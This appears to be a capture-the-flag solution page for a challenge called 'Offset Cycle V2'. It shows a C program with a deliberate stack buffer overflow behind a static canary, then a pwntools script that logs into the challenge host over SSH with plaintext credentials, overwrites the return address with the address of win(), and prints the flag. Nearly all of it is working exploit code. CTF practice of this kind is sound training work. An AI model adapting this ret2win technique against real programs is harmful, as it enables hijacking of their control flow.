Offset Cycle V2
#buffer-overflow#ret2win#solution-only
Contents
Source (one of many)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 845
#define CANARY_SIZE 4
#define FLAGSIZE 64
char global_canary[CANARY_SIZE];
void win() {
char flag[FLAGSIZE];
FILE *f = fopen("CodeBank/flag.txt", "r");
if (!f) {
puts("Missing flag.txt.");
exit(0);
}
fgets(flag, FLAGSIZE, f);
puts(flag);
}
void load_canary() {
FILE *f = fopen("CodeBank/flag.txt", "r");
if (!f) {
puts("Missing flag.txt.");
exit(0);
}
fread(global_canary, 1, CANARY_SIZE, f);
fclose(f);
}
void vuln() {
char local_canary[CANARY_SIZE];
char buf[BUFSIZE];
char input[BUFSIZE];
int count, i = 0;
memcpy(local_canary, global_canary, CANARY_SIZE);
printf("How many bytes?\n> ");
while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
i++;
sscanf(input, "%d", &count);
printf("Input> ");
read(0, buf, count);
if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
puts("***** Stack Smashing Detected *****");
exit(0);
}
puts("Ok... Now Where's the flag?");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setresgid(getegid(), getegid(), getegid());
load_canary();
vuln();
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
from termcolor import colored
import time
from tqdm import tqdm
def conn():
user = "ctf-player"
host = "dolphin-cove.picoctf.net"
port = 61984
pw = "a15d25e1"
s = ssh(user=user,host=host,port=port,password=pw)
#s.system("./start")
return s
def offset(num):
return b'i' * num
def main():
s = conn()
ls = s.run("ls -la")
print(ls.recvallS())
filename = input("File name: ")
src = s.run(f"cat {filename}.c")
src.recvuntil(b'#define BUFSIZE ')
bufsize = src.recvuntil(b'\n', drop=True)
bufsize = int(bufsize.decode("ascii"))
print(bufsize)
s.download(f"./{filename}")
s.download(f"./{filename}.c")
elf = ELF(f"./{filename}")
r = s.run(f"./{filename}")
win = elf.sym["win"]
payload = offset(bufsize) + b'pico' + offset(16) + p32(win)
r.sendlineafter(b'> ', str(len(payload)).encode("ascii"))
r.sendlineafter(b'> ', payload)
r.recvuntil(b'the flag?\n')
flag = r.recvuntilS(b'}')
print()
print(flag)
print()
if __name__ == "__main__":
main()